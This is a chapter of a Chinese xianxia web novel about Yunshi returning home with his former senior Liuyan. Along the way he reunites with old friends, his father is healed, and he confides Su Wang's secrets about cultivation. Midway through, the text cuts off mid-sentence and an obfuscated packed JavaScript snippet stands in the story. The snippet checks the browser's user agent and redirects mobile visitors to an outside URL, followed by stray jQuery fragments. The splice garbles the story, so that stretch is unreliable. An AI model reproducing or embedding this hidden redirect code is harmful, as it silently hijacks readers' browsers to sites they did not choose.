晨光初透,山林间还弥漫着未散的寒雾与淡淡的、属于深山的腥涩气息。云实背着行囊,腰别竹笛,手里握着那把从苏妄武器堆里挑出来的、看起来朴实无华却异常沉手的短柄斧头,沿着依稀可辨的山道谨慎前行。翠微山这片区域,即便是连接着大自在天与外界相对“安全”方向的路径,也绝谈不上太平。低阶魔物、受瘴气影响的凶兽、乃至某些天然形成的灵力紊乱地带,都足以让独行者丧命。他体内的乱丹力量虽已能勉强运用,但消耗巨大,且极不稳定,用来赶路或应对突发危机尚可,若要一路硬闯过去,恐怕还没走出多远就要力竭。更重要的是,他贴身带着的那些储物袋和小衣服,绝不能有失。 要请护送吗?他身上钱倒是够,苏妄给的那袋灵石足以请动不错的护卫队。但在这前不着村后不着店的山道,去哪里找可靠的人?大自在天的人还是算了,既然决定离开,他不想再立刻欠下那边的人情,或引起不必要的注意。 正思忖间,前方雾气流转,一道颀长的青色身影悄然无声地出现在山路转弯处,仿佛早已等候多时。 云实脚步一顿,握紧了斧柄,体内灵力下意识流转,带起一丝暗红色的微光在眼底闪过。待看清来人面容,他整个人都怔住了。 流衍。 依旧是那身淡青色的道袍,气质温润如玉,眉宇间却比几年前在天衡宗时多了几分沉稳,甚至一丝不易察觉的疲惫。他站在那里,身后背着一柄古剑,目光平静地落在云实身上,从他那身风尘仆仆的旧衣,落到腰间的竹笛,再落到手中那柄与他气质格格不入的斧头,最后,回到他脸上。 没有剑拔弩张,没有惊讶质问,只有一种深沉的、仿佛早已料到的了然,以及那份云实熟悉的、属于流衍的温和关切。 空气仿佛凝滞了一瞬,只有山风吹过林梢的沙沙声和远处隐约的鸟鸣。 “云实师弟。”流衍率先开口,声音一如既往的平稳温和,只是那声“师弟”叫出口,让两人都微微顿了一下。云实早已不是天衡宗弟子,这称呼显然已不合适。 云实张了张嘴,喉咙有些发干,许多复杂的情绪瞬间涌上心头——尴尬、窘迫、一丝久别重逢的微暖,更多的是不知如何面对的茫然。他该称“流衍师兄”?还是“流衍仙长”?或者,干脆装作不识? 最终,他垂下眼,避开了流衍过于透彻的目光,低声唤了句:“……流衍师兄。” 终究是改不了口,那几年的照拂与温暖,并非虚假。 流衍似乎并不介意这个过时的称呼,他走上前几步,距离拉近,云实能更清晰地看到他眼中的血丝和眉宇间那抹挥之不去的凝重。 “我知你今日会从此路下山。”流衍的语气很自然,仿佛在说一件再平常不过的事,“翠微山这段路不太平,你独自一人,又……”他目光似有似无地扫过云实的丹田位置,“气息浮动不稳,恐有隐患。我恰好要往山外办事,顺路送你一程。” 顺路?云实心中了然。哪有什么恰好顺路。流衍必是知晓了他离开大自在天,特意等在这里。是为了他体内的隐患?还是因为别的?他想起无常殿中苏妄的话,想起那颗“改良版”的内丹和取出的风险,心头滋味难明。 “多谢……师兄。”云实没有点破,接受了这份好意。有流衍护送,自然是求之不得。只是这份关怀,此刻落在他这经历了诸多不堪、身份尴尬的人身上,让他既感到温暖,又无比惭愧。他如今这副样子,与大自在天纠葛不清,还带着苏妄给的明显信物(竹笛),如何配得上流衍这一声“师弟”和特意前来护送的情谊? 他注意到流衍身后只背了一剑,并无其他行囊,不像是要出远门办事的样子。而且,流衍如今已是法则期圆满、名震一方的人物,天衡宗的重担想必不轻,怎会轻易“顺路”来送他这样一个离宗叛道、还与混沌派仙尊牵扯不清的旧日仆役? 似乎是看出了云实眼中的疑惑与复杂,流衍并未多解释,只是转身,示意云实跟上。“走吧,趁日头还好,早些穿过前面那片‘迷踪林’。” 两人并肩而行,起初沉默。山道崎岖,流衍步伐稳健,总是恰到好处地走在略前半个身位,既能开路,又能随时照应身后的云实。他周身散发着一种纯净柔和的“寒”性灵力波动,所过之处,林中那些蠢蠢欲动的阴秽气息和潜在的危险感应,都悄然退避消散。 走了一段,云实终究忍不住,问出了盘旋在心头许久的问题,声音有些干涩:“流衍师兄,你与天蕴师姐……”他顿了顿,不知该如何措辞,“听说……你们……” 流衍的脚步几不可察地缓了半分,随即恢复如常。他没有回头,声音依旧平稳,却透着一丝极淡的释然:“婚约取消了。” 云实一怔。 “并非有何龃龉。”流衍补充道,语气平和,“只是师姐志在武道极境,近来感悟颇深,需全心投入,无暇分心他顾。而我……宗门事务繁杂,自身道途也需梳理。彼此说明,好聚好散。”他侧过脸,对云实露出一个浅淡却真实的微笑,“这样也好,各自追寻自己的路。” 云实默默点头,心中却有些感慨。那样耀眼的两个人,最终也未能走到一起。或许正如苏妄所言,每个人都有自己的执念与道路,强求不得。他想起天蕴师姐冷冽专注的眼神,那样的女子,确实不像会困于情爱婚约之人。 “那……宗门内,一切可好?”云实又问,想起霁雪仙尊,想起后厨那些或许早已遗忘他的人。 “尚可。”流衍简略答道,并未深谈,显然不欲多言宗门内务。他话锋一转,目光落在云实手中那柄斧头上,“这斧头……看着并非凡铁,但样式不像修士常用之物。你选它,是作何打算?” 云实紧了紧握着斧柄的手,指节有些发白。 “防身,也……顺手。”他低声道,“在大自在天,除了练气,体魄训练也严。这斧头沉,劈砍实在,遇上些不开眼的野兽或低阶魔物,比用那不稳定的灵力省事,也免得……动静太大。” 更重要的是,挥动斧头时那实实在在的反作用力,能让他更真切地感受到自己的力量,一种不依赖于那颗诡异内丹的、更接近他本源的力气。 流衍点了点头,目光中流露出赞许:“因地制宜,实用为上。你比从前,思虑周全了许多。”他顿了顿,似是不经意般问道,“方才见你气息,那颗内丹……近来可还安稳?苏妄他……” 提到这个名字,流衍的语气依旧平和,但云实能感觉到那底下的一丝紧绷与探究。 云实心头一紧。果然,流衍最关心的,还是这个。他该怎么说?说出苏妄那套惊世骇俗的理论?说出自己面临的选择?还是含糊其辞? 犹豫片刻,他选择了部分实话:“苏妄……给了我一个选择。关于这颗内丹。”他摸了摸腰间的竹笛,“但具体如何,我还需想想。目前……还算可控。” 流衍深深看了他一眼,那目光仿佛能洞察他未曾言明的挣扎与迷茫。但他没有追问,只是温声道:“若有任何不适,或需要帮助,随时可告知我。你体内情况特殊,破境之险远超常人,万不可贸然行事。” “我知道,谢谢师兄。”云实低声道,心中涌起一股暖流,却也夹杂着更深的惭愧。流衍始终是那个会在危难时伸出援手的师兄,而自己却…… “不必谢我。”流衍轻轻摇头,目光投向雾气渐浓的前方山林,“当初未能护你周全,让你落入那般境地,是我之过。如今能送你一程,略尽绵力,我心稍安。” 云实猛地抬头,看向流衍清隽的侧脸。原来,流衍师兄一直将那件事放在心上,甚至引以为咎?可那与他何干?是自己命运不济,是苏妄行事乖张…… “不,师兄,那与你无关,是我……”云实急急想辩白。 流衍抬手,止住了他的话,转过头,对他露出一个温和却不容置疑的笑容:“前事已矣,不必再提。眼下,我们先安然穿过这片山林。之后的路……你若愿意,可与我同行一段。我此番外出,除了宗门事务,也有些旧日见闻想要查访,或许……与你心中某些疑惑,能相互印证。” 同行?云实心中一动。流衍话中有话,似乎并不仅仅是护送他下山那么简单。他要查访的旧日见闻,是否与苏妄所说的骗局,与那场久远的天地动乱有关? 看着流衍清澈而坦诚的目光,云实心中的犹豫渐渐散去。或许,跟流衍师兄同行,不仅安全无虞,也能了解更多,为自己接下来的选择,找到更多的依据。 “好。”云实重重点头。 栖霞镇还是老样子,或者说,比几年前云实路过时更显出一种疲惫的热闹。作为进出翠微山的重要隘口,这里永远不缺风尘仆仆的旅人、眼神精明的商贩,以及各种难以明辨身份的修士。空气里混合着牲畜、尘土、廉价酒水和某种山野特有的腥气。 流衍熟门熟路地领着云实进了一家看起来还算干净、名为“悦安”的客栈。掌柜显然认得流衍,恭敬地引他们上了二楼,安排了相邻的两间上房。云实本欲自己付钱,甚至觉得住一楼通铺也可,但流衍已不容分说地结了账,只淡淡道:“安心住下,明日还要赶路。” 就在两人于二楼廊下略微驻足,流衍正欲交代云实几句夜间注意之事时,楼下大堂传来一阵略显耳熟的清脆嗓音,正带着点焦急在与掌柜理论: “……掌柜的,你再仔细瞧瞧这订货单子,分明写的是‘清溪镇老王家秋酿’,我们‘纸云坊’只是代为运送,这酒坛未开封就泛酸起沫,怎能全怪到我们头上?定是路上保管不当,或是那供酒的本身就有问题!” 另一个冷冽而简洁的女声打断道:“单据无误,责任在承运交接不清。追查源头便是,无需在此争执。” 云实浑身一震,猛地扶住栏杆向下望去。只见大堂柜台前,站着两个女子。一人穿着利落的靛蓝布衣,腰间挂着算袋,袖子挽起,正拿着张单据与掌柜据理力争,小麦色的脸上带着奔波的风霜与不容置疑的认真,不是纸鸢是谁?而她身旁,一位身姿挺拔、穿着素净练功服、面容冷峻秀美的女子,正抱臂而立,目光如电地扫过掌柜和那几坛有问题的酒——正是天蕴师姐! 似是感应到楼上的目光,天蕴倏地抬眼望来,视线如冰刃般刮过流衍,最终落在云实身上,微微一顿。纸鸢也顺着她的目光抬头,一眼看到云实,先是愣住,随即眼睛猛地亮了起来,脸上绽开惊喜的笑容:“云实?!真的是你!” 故人重逢,还是在如此意想不到的情境下,云实一时有些无措。流衍已率先下楼,与天蕴简短颔首致意。天蕴目光在流衍和云实之间转了一圈,又落到云实腰间那支毫不掩饰的青竹笛上,眉头几不可察地蹙了一下,但并未多言。 四人干脆在客栈大堂僻静角落要了张桌子坐下。纸鸢很是兴奋,叽叽喳喳说了别后情形。原来她离开天衡宗后回家,家里造纸坊生意因故受了些影响,便尝试转型,利用本地一种特色谷物开了个小酒坊,取名“纸云坊”。起初尚可,近来却接连遇到麻烦,这次送往邻镇的一批酒出了问题,买家咬定是他们以次充好。纸鸢独自出来交涉,却在途中巧遇了似乎刚办完事回程的天蕴。天蕴听闻缘由,竟二话不说陪着她一路追查至此。 “多亏天蕴师姐!”纸鸢感激道,“不然我真不知如何应对这些扯皮事儿。师姐一眼就看出那酒坛泥封有被动过的痕迹,还找到了当时搬运的脚夫问话……” 天蕴只是摇了摇头,声音平静:“恰逢其会。你家酒本身无大问题,是被人做了手脚。既遇不平,顺手为之。”她说话间,目光再次落到云实身上,尤其在他那件红白相间、样式独特的外袍上停留了片刻。 这顿饭吃得颇有些微妙。纸鸢的活泼与久别重逢的喜悦是真实的,天蕴的沉默与偶尔精准的插话是习惯性的,流衍则一如既往地温和周到,替云实挡去了掌柜和店小二过多的打量。云实自己则有些食不知味,心中缠绕着各种念头,目光不时飘过纸鸢明亮的脸,天蕴冷冽的侧影,还有流衍始终平静如水的神情。 饭后,纸鸢和天蕴也在这家客栈住下,房间恰好也在二楼另一侧。天蕴让纸鸢先回房休息,自己则走到云实面前,示意他借一步说话。 两人走到客栈后院僻静处,天蕴开门见山,指着云实腰间竹笛和身上外袍:“苏妄的东西?” 云实心知瞒不过,点头:“是。” 天蕴上下打量他一番,目光在他重新缝制的、红白交织的衣袍上停留最久,眼中竟掠过一丝极淡的、近乎赞许的神色:“拆了重缝?很聪明。” 她顿了顿,语气严肃了些:“既然穿戴着,就不用再藏着掖着。在这地界,以后若有人问起你是哪条道上的,大大方方说‘大自在天’便是。不必详说,更别提你原本来历。这身打扮加上那笛子,懂行的自然明白分量,能免去许多无谓麻烦。”她看着云实,“明白吗?借势,也是一种本事。你现在,借得起这个势。” 云实怔了怔,没想到天蕴会说这番话。他以为这位冷面师姐会对苏妄的一切都嗤之以鼻。但这务实到近乎冷酷的建议,却又透着一股奇异的关照。 “多谢师姐指点。”云实低声应道。 天蕴“嗯”了一声,不再多言,转身离去,背影干脆利落。 云实回到二楼,流衍正站在他自己房门口,似乎等着他。 “天蕴师姐与你说的话,我大约能猜到。”流衍示意云实进他房间,随手布下一个隔音的简易禁制,“她说的不错。既已身在此山中,便不必刻意划清界限。苏妄……大自在天的名头,有时候比天衡宗弟子还好用些,尤其在这三教九流混杂之地。” 他顿了顿,看着云实,语气温和却带着不容错辨的认真:“我不会因你身上有他的东西,或你曾在那里待过,便对你另眼相看。你依然是你。只是,有些细节,不必对外人深谈,尤其是你如何得到这些,以及……”他目光深邃,“你体内那颗内丹的真正情形。人心难测,免生枝节。” 云实默默点头。 “至于我,”流衍继续道,声音平稳,“我仍可对外称你是我师弟。只要我认,旁人便说不得什么。这一路,我总还能照应你几分。” 房间里安静下来。油灯的光晕将流衍清隽的面容映得有些朦胧,那份毫无来由却始终如一的回护之意,在此刻静谧的夜色里,显得格外清晰,也格外令人心绪难平。 云实终于忍不住,抬起头,直视着流衍的眼睛,问出了那个盘旋在他心头许久、甚至比面对苏妄时更让他困惑不安的问题: “流衍师兄,你……为何待我如此之好?” 他的声音有些干涩,“当年在天衡宗,你帮我解围,教我基础,已是仁至义尽。后来我……我去了大自在天,与苏妄牵扯不清,按说早该与天衡宗、与你划清界限才是。可你现在不仅送我,还愿担着干系认我这个‘师弟’……这,这真的只是……同门之谊吗?” 他想起苏妄那扭曲的兴趣和恶劣的关注,想起苏妄直言不讳的喜欢和需要情感刺激的麻木。那么流衍呢?这份持续数年、跨越身份立场、好到几乎不合常理的关照,除了那种难以言明的情感,还能有什么解释?难道真有人,会对一个天赋低微、际遇坎坷、甚至可能带来麻烦的旧日同门,付出如此多而不求回报的心力? 流衍似乎没料到云实会问得如此直接。他沉默了片刻,房间里的空气仿佛也随着他的沉默而微微凝滞。油灯的火苗在他清澈的眼眸中跳动,映出一种复杂难言的情绪。 他没有立刻回答“是”或“不是”。 只是静静地看了云实一会儿,那目光似乎穿过眼前这个身着红白异袍、眉眼间染上风霜与倔强的青年,看到了更久以前,那个在后厨默默劈柴、眼中却偶尔闪过不甘星火的沉默少年。 然后,他几不可闻地,轻轻叹了口气。那叹息里没有无奈,没有负担,只有一种极深的、云实此刻尚且无法完全理解的怅然与决意。 “云实,”流衍开口,声音比方才更低沉了些,却异常清晰,“有些事,并非你所想的那样简单。我对你好,确有同门之谊,看你秉性纯良,际遇坎坷,心生不忍。但这并非全部。” 他顿了顿,似乎在斟酌词句,又似乎在下定某种决心。 “更多的原因……告诉你只会徒增你的困扰与危险。你只需知道,我对你并无恶意,这份回护之心,亦非一时兴起。” 他看着云实眼中依旧未能散去的疑惑与一丝隐隐的不安,向前走了一小步,距离拉近,却毫无压迫感,只有一种令人心安的温和气场。 “至于苏妄……”流衍提到这个名字时,语气依旧平稳,但眼底深处似有寒光一闪,“他的行事与情感,自有一套扭曲的逻辑,与常人不同,更与我不同。你不必以他的方式来揣度旁人,尤其是……我。” 最后两个字,他说得很轻,却带着一种沉甸甸的分量。 “夜深了,回去休息吧。”流衍最终没有给出那个直白的答案,他抬手,似乎想如从前般拍拍云实的肩膀,但指尖在触及前微微一顿,转而轻轻拂过云实衣袖上一处不易察觉的褶皱,动作自然无比。“明日还要赶路。记住,有我在,你只管向前走便是。” 云实站在原处,看着流衍温和却不容置疑送客的神情,心中那团迷雾非但没有散去,反而似乎搅入了更深的旋涡。 流衍不肯明说,他无法再问。 他只能压下翻腾的思绪,躬身行了一礼,低声道:“是,师兄也早些休息。” 退出流衍的房间,轻轻带上门。廊道上只剩他一人,隔壁纸鸢与天蕴的房中隐约传来低语,楼下大堂的喧哗也已平息。云实靠在冰凉的木墙上,仰头看着廊顶昏暗的灯笼,脑海中反复回响着流衍的话,还有苏妄那些真真假假的言语。 …… 第二日清晨,在客栈简单用过早饭,云实和流衍便与天蕴、纸鸢道别。纸鸢眼圈微红,用力抱了抱云实,塞给他一小坛自家酿的酒,叮嘱他路上小心,有空捎信。天蕴只是对云实点了点头,说了句“好自为之”,又对流衍道:“此间事了,我会继续追查。保重。” 言简意赅,一如她往日风格。 离开栖霞镇,踏上官道,回家的路便顺畅了许多。流衍果然处处细致周到,安排行程、打尖住店、甚至留意饮食茶水,都无需云实操心。他甚至还准备了凡俗界流通的金银,付账时自然得体,丝毫不引人注目。 云实却有些不自在。他从小便是照顾人的那个,是家里的长子,是后厨里埋头干活、眼观六路的帮工。被人如此无微不至地照料,尤其是被流衍这样身份、修为都远高于他的人照料,让他感觉手脚都不知该往哪里放,心里那份亏欠感也越发沉重。 几次他想开口分担些琐事,或是坚持自己付些小钱,都被流衍温和却不容置疑地挡了回来。“你专心调息,稳固内息便是。这些俗务,我来处理就好。”流衍总是这般说,眼神平静,仿佛这一切理所当然。 云实知道,流衍是担心他体内那颗不稳定的内丹,长途跋涉恐生变故。这份好意他无法拒绝,但那种被全然庇护、仿佛自己是个需要特别看顾的易碎品的感受,却让他暗自咬牙。他握紧了手中的斧柄,那沉甸甸的、实实在在的分量,能让他稍稍找回一点对自身的掌控感。 他确实有事相求,这让他更难以坦然接受流衍过多的好意。父亲的伤臂,始终是他心里的一根刺。普通郎中和低阶丹药只能缓解,无法根治那冰火之力侵蚀的经脉。流衍修为高深,见识广博,或许……有办法? 几番犹豫,在离青石镇还有一日路程的傍晚,投宿在一间乡野小店时,云实终于鼓足勇气,向流衍提及了父亲的伤势。他描述得很仔细,当年那蓝红交错的诡异气劲,父亲手臂瞬间冰封又焦黑的惨状,以及这些年隐隐作痛、无法用力的后遗症。 流衍听得认真,末了沉吟片刻,道:“听起来是两种极端且混乱的灵力侵入,伤了根本经脉,寻常药物难以拔除。我虽主修寒之一道,但对热亦有所涉猎,或可尝试以温和灵力疏导,辅以专门的丹,徐徐图之。到家后,我看看具体情况。” 云实心中一块大石落地,连忙躬身道谢。流衍只是扶住他,摇摇头:“不必如此。若能治好,也是了一桩你的心事。” 终于,在一个烟雨蒙蒙的午后,青石镇那熟悉的、带着潮湿水汽和染料气息的空气扑面而来。云实的心脏不受控制地急促跳动起来,近乡情怯,混合着数年离家的沧桑与终于归来的酸楚。他领着流衍,穿过熟悉的、被雨水打湿的青石板巷,来到了“云锦记”的店门前。 店铺似乎重新修缮过,门面整洁,但门庭略显冷清。卸下的门板靠在一旁,店内光线有些昏暗。父亲云天青正坐在柜台后,就着一盏油灯核对账本,左臂依旧不太自然地垂着。母亲林秀在后堂隐约传来织机的声响。 “爹。”云实站在门口,声音有些发哽。 云天青闻声抬头,先是茫然,待看清雨中那个身量抽高、面容褪去稚气却依旧熟悉的青年时,手中的笔“啪嗒”掉在账本上。他猛地站起身,动作牵动了伤臂,痛得眉头一皱,却全然不顾,几步抢到门口,上下打量着儿子,嘴唇颤抖着,半晌才吐出两个字:“……实儿?” 后堂的织机声停了,林秀匆匆赶出来,看到云实,眼泪一下子就涌了出来,扑上来抓住儿子的胳膊,又哭又笑:“回来了!回来了就好!你这孩子,怎么也不捎个信……” 云实心中酸热,强忍着泪意,将父母扶进店内,又引见了身后的流衍:“爹,娘,这位是流衍……师兄。我在外……多蒙师兄照拂。” 流衍适时上前,执礼甚恭,气质温润出尘,一看便非寻常人物。云天青和林秀连忙还礼,有些手足无措。流衍微笑道:“伯父伯母不必多礼。云实师弟聪敏勤勉,在外颇有进益,只是牵挂家中,特回来探望。” “师弟?”云天青和林秀对视一眼,眼中又是惊讶又是欣喜。他们只知道儿子当年没测出灵根,去了仙门做杂役,如今竟成了这位气度不凡的仙长的“师弟”?儿子这是……真有出息了? 云实不欲多解释,赶紧将带回来的东西拿出来。他先将那几十个储物袋一一取出,堆在桌上,又拿出给小妹做的小衣服,最后是苏妄给的钱袋(他提前换出了大部分金银)。看着父母目瞪口呆的样子,他简单解释道,这些储物袋有些是仙门赏赐,有些是自己挣的,用来存放布料最好不过,能防潮防霉,家里生意定能改善。 云天青试着用一个,发现果然神奇,那困扰他家多年的仓储难题似乎迎刃而解,激动得手都在抖。林秀摩挲着那件精致的小衣服,又是欢喜又是心疼:“你这孩子,在外头还惦记着这些……” 这时,得到消息的云岭和云舒也从学堂跑了回来。云岭已是挺拔少年,见到大哥和陌生的仙长,沉稳行礼。云舒则长高了不少,依旧扎着双丫髻,眼睛亮晶晶的,先是扑进云实怀里,又好奇地看着那些储物袋和流衍。 流衍待一家人情绪稍平,便提出为云天青查看伤势。他让云天青坐下,伸出伤臂,指尖凝聚起柔和纯净的淡蓝色灵光,轻轻按在伤处,闭目细细探查。片刻后,他睁开眼,对紧张望着他的云实一家点了点头:“可以治。需连续七日,每日以灵力疏导一个时辰,化去淤塞异力,再服丹药温养经脉。虽不能完全恢复如初,但疼痛可消,日常用力应无大碍。” 云实大喜过望,云天青和林秀更是感激涕零,就要下拜,被流衍拦住。 接下来的几日,流衍便暂住在云实家腾出的一间净室里。每日定时为云天青疗伤,那温和而强大的灵力一点点驱散沉积数年的冰火异力,滋养受损的经脉。云实则忙着安顿家里,他将大部分储物袋的使用方法教给家人,又私下里测试了弟弟妹妹的灵力感应——云岭的感应比离家时又强了些,而云舒,似乎对操控这些需要细微灵力触发的储物袋格外得心应手,甚至能比父母更快更稳地开启关闭。 他仔细观察着妹妹。几年不见,云舒褪去了不少稚气,眉眼间多了几分沉静和机敏。她帮着母亲打理家务,账目算得清晰,对布料花色、客人喜好的记性也好,偶尔提出些铺子经营的小建议,竟颇有见地。父母有时商量事情,也会不自觉地问问她的看法。 一个念头在云实心中渐渐清晰。 七日后,云天青的伤臂果然大为好转,颜色恢复正常,虽然还不能提重物,但已无隐痛,活动自如。一家人对着流衍千恩万谢。流衍只道是分内之事,并留下一个白玉瓶,里面是温养经脉的丹药,嘱咐按时服用。 家中气氛前所未有的松快祥和。晚饭时,云天青几杯酒下肚,看着气度已然不同的长子,感慨道:“实儿有出息了,结识了流衍仙长这样的贵人,家里也好了。这铺子,以后就交给你了,我跟你娘也享享清福。” 林秀也笑着点头。 云实却放下筷子,站了起来。他看着父母,又看了看一旁安静吃饭、眼睛却不时瞄向账本的云舒,和埋头苦读、显然志不在此的云岭,深吸一口气,说出了自己的决定。 “爹,娘,这铺子,我不能接。”他声音平稳,却带着不容置疑的坚定。 父母一愣。 “我在外……还有事未了。这次回来,主要是送这些东西,看爹的伤好了,心里就踏实了。”云实继续道,“铺子交给云舒吧。” “小舒?”云天青和林秀都惊讶地看向小女儿。云舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934567|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己也愣住了,抬起头,眼中有些茫然,又有一丝被认可的微光。 “嗯。”云实点头,“我观察了几日,小舒心细,记性好,对布料生意也有兴趣,算账理货都比我在行。她来管,铺子一定能更好。”他顿了顿,看向父母,语气放缓,却更认真,“况且,小舒年纪也不小了,若是将来……嫁了人,这铺子也算她的依仗。若是她管得好,说不定还能招个踏实肯干的上门女婿,一样能传承家业,孝敬你们。” 这话说得含蓄,但云天青和林秀听明白了。儿子这是不想妹妹随意嫁出去,想给她一份能立身的资本和选择的权利。他们想起早逝的婆婆,想起那些街坊间女子出嫁后身不由己的传闻,心中一时百感交集。 云舒的脸微微红了,却没有低头,反而挺直了背脊,眼中那份光亮更盛了些。 “可是……”林秀还有些犹豫,“小舒毕竟是个姑娘家,抛头露面……” “娘,”云实打断她,走到云舒身边,轻轻拍了拍妹妹的肩膀,“小舒能打开这些储物袋,比我当初还快还稳。有些袋子,爹娘和云岭用着都略显滞涩,偏偏小舒用起来得心应手。这说明她与这些东西有缘,或许……也有些微末的仙缘在里头呢?让她管着铺子,用着这些仙家之物,说不定将来另有机遇。” 这最后一句,带着一点小小的、善意的欺骗。云实测试过,父母虽慢些,但开启这些低级储物袋并无问题。可他需要给妹妹一个更有力的、让父母安心放权的理由。 果然,听到“仙缘”二字,云天青和林秀对视一眼,态度明显松动了。他们最信这些。儿子得了“仙缘”认识了仙长,女儿若也有点“仙缘”能管好铺子……似乎也不是坏事? 云岭也开口道:“爹,娘,我觉得大哥说得有道理。我志在读书科考,将来若能进格致院或谋个一官半职,也能帮衬家里。铺子交给小妹,她心思灵巧,定能胜任。我们是一家人,谁管不是管?只要铺子好,家里好,就行。” 见大儿子和小儿子都这么说,女儿眼中也满是跃跃欲试的认真,云天青最终长叹一声,点了点头:“好,好……你们长大了,都有自己的主意了。铺子……就交给小舒试试。实儿,你在外头,要小心,记得常捎信回来。” 事情就这么定了下来。云实心中一块最大的石头终于落地。父亲伤愈,家里有了稳定的生计来源,弟弟前途有望,妹妹掌握了安身立命的根本,即便自己将来……真的有什么不测,这个家,也已经有了继续好好走下去的底气和希望。 流衍将这一切看在眼里,自始至终未曾插言,只在云实安排妥当时,对他投去一个了然又带着些许赞许的目光。 家里安顿好了。 家中的灯火温暖,几日来团聚的喧嚷渐渐沉淀为一种踏实而略带离愁的宁静。父亲的伤臂已能自如活动,脸上多了红润;母亲不再终日蹙眉,对着那堆储物袋盘算时眼中闪着久违的光;云岭埋头苦读,为不久后的考试做最后冲刺;云舒则像一株得了雨露的小树,迅速抽枝展叶,接手铺子事务虽有磕绊,却异常认真投入,那件云实做的小红袄,她只在试穿时害羞地展示了一下,便仔细收好,说等过年再穿。 看着这一切,云实心中那根紧绷了数年的弦,终于稍稍松弛。最初的、也是最沉重的目标,似乎已经达成了。可随之而来的,是一种巨大的迷茫。像一直埋头拉车的人终于到达某个驿站,卸下重担,却忽然不知下一步该迈向何方。 这晚,流衍在净室打坐调息完毕,来到云实暂住的小厢房。窗外月色清冷,映着院中那棵老槐树疏落的影子。 “家中诸事已安顿妥当,”流衍的声音在静谧中响起,温和依旧,“你接下来,有何打算?” 云实正就着油灯,无意识地摩挲着腰间那支竹笛。闻言,他抬起头,眼中并无离家时的迫切或迷茫,只有一片深潭般的平静,以及平静之下,暗涌的复杂波澜。 “打算?”他重复了一遍,嘴角扯出一个极淡的、近乎虚无的弧度,“说实话,师兄,我不知道。” 流衍并未催促,只是静静看着他,等待下文。 “我最初离家,是想寻仙缘,帮家里。”云实缓缓道,目光投向窗外无垠的夜空,“后来在天衡宗,是想站稳脚跟,活下去,或许……还能有点出息。再后来,跟着苏妄,是想抓住那根能让我‘动起来’的稻草,想变强,想摆脱那种不上不下的绝境。” 他顿了顿,手指无意识地收紧,竹笛发出细微的、几不可闻的摩擦声。 “现在,家里好了。爹的伤好了,铺子有了转机,弟弟妹妹都有了着落。我这个最初的目标,算是完成了。”他转过头,看向流衍,眼中那片深潭仿佛被投入石子,漾开层层晦涩的涟漪,“那我呢?我接下来,该做什么?” 不等流衍回答,他像是自问自答,又像是将心中盘桓已久的几个选项,赤裸裸地摊开在信任的人面前: “按照苏妄的说法,我大概有三条路。” “第一条,”他声音压低了些,带着一种奇异的冷静,“如果他说的‘骗局’是真的,那我或许该想办法,去‘揭露’它?哪怕只是掀开一角,让更多人知道,这条人人挤破头想走的大道,可能……并不那么绝对,甚至可能是某种巨大的、维持‘有序’的谎言。” 这个念头太大,太骇人,说出口时他自己都感到一阵心悸,却又隐隐有某种莫名的、近乎使命感的悸动。 “第二条,”他摸了摸自己的丹田,那里那颗暗红色的内丹随着他的心绪微微搏动,“如果我不取出它,继续沿着这条他指出的‘险路’走下去,那么总有一天,我会面临他所说的‘突破关口’。到时候,要么成功,看到不一样的风景;要么……就像他那个同门,或者之前那个孩子一样,‘砰’——” 他做了个很小的、手势,“灵力暴走,渡劫失败,死得干干净净。这也算一种……了结?” “第三条,”他的目光落在竹笛上,“按照他给的方法,取出这颗内丹。做一个……或许会虚弱很久,但至少安全的凡人。回到青石镇,帮着小妹打理铺子,看着弟弟成家立业,然后像爹娘一样,慢慢变老,死去。” 三个选项,指向三个截然不同的未来:搅动风云的叛逆者,死中求活的冒险家,归于平凡的普通人。每一个都充满未知与风险,也各自带着难以抗拒的引力与排斥力。 流衍起初只是安静地听着,眉头随着云实的叙述微微蹙起。当听到“骗局”、“渡劫去死”、“取出内丹”这些词时,他温润平静的脸上,第一次出现了明显的、难以掩饰的震动。尤其是“骗局”二字,从云实口中如此自然地说出,仿佛在谈论天气,却带着颠覆一切的重量。 “云实,”流衍的声音依旧平稳,但细听之下,却比平日多了一丝不易察觉的紧绷,“你所说的‘苏妄的话’……具体是指什么?‘骗局’又是什么?” 云实看着流衍眼中那份混杂着震惊、关切与深深疑惑的神色,心中最后一丝犹豫也消散了。他信任流衍。即使这些秘密可能带来危险,他也无法对这位始终回护自己的师兄继续隐瞒。 他深吸一口气,开始讲述。从苏妄在无常殿中透露的关于天地旧事、瘟疫、宗门与凡人的冲突,到他自己濒死获救、炼制诡异丹药的经历,再到他如何发现自己“放弃进化”、靠智慧与手腕立足,以及“天劫可避”、“境界可绕”的惊人发现,最后到大自在天聚集的缘由、他挑选“杂灵根”作为“种子”的模糊动机,还有那颗“改良版”内丹的真相与取出方法…… 他尽量陈述得客观,省略了那些过于私密或屈辱的细节,但关键的信息,尤其是苏妄对现有修仙体系的质疑、那条“不同路径”的可能性,以及内丹的巨大隐患,都毫无保留地说了出来。 随着云实的讲述,流衍脸上的平静一点点褪去,取而代之的是越来越深的凝重,甚至……一丝罕见的、近乎骇然的神色。他放在膝上的手指微微蜷起,指节有些发白。身为天衡宗这一代的核心弟子,法则期圆满的高手,他对修仙界的认知根深蒂固。境界森严,天劫难渡,大道有序……这些都是刻入骨髓的信条。而云实转述的这些话,无异于在他坚固的认知壁垒上,凿开了一道深不见底的裂缝。 更让他心神剧震的,是透露这些秘密的途径。不是来自德高望重的师长,不是来自尘封的古籍,而是来自眼前这个他曾经庇护过的、际遇坎坷的少年——通过一场始于胁迫与交易、充满屈辱与算计的扭曲关系,从那个亦正亦邪、行事莫测的混沌派仙尊苏妄口中得知。 流衍感到一阵后怕,脊背隐隐发凉。自己刚刚听到了什么?关于苏妄这个风云人物的核心秘密?关于可能动摇整个修仙界根基的惊世隐秘?而这些,是通过云实——一个曾是天衡宗杂役、如今身份尴尬的年轻人,用身体和情感周旋换来的? 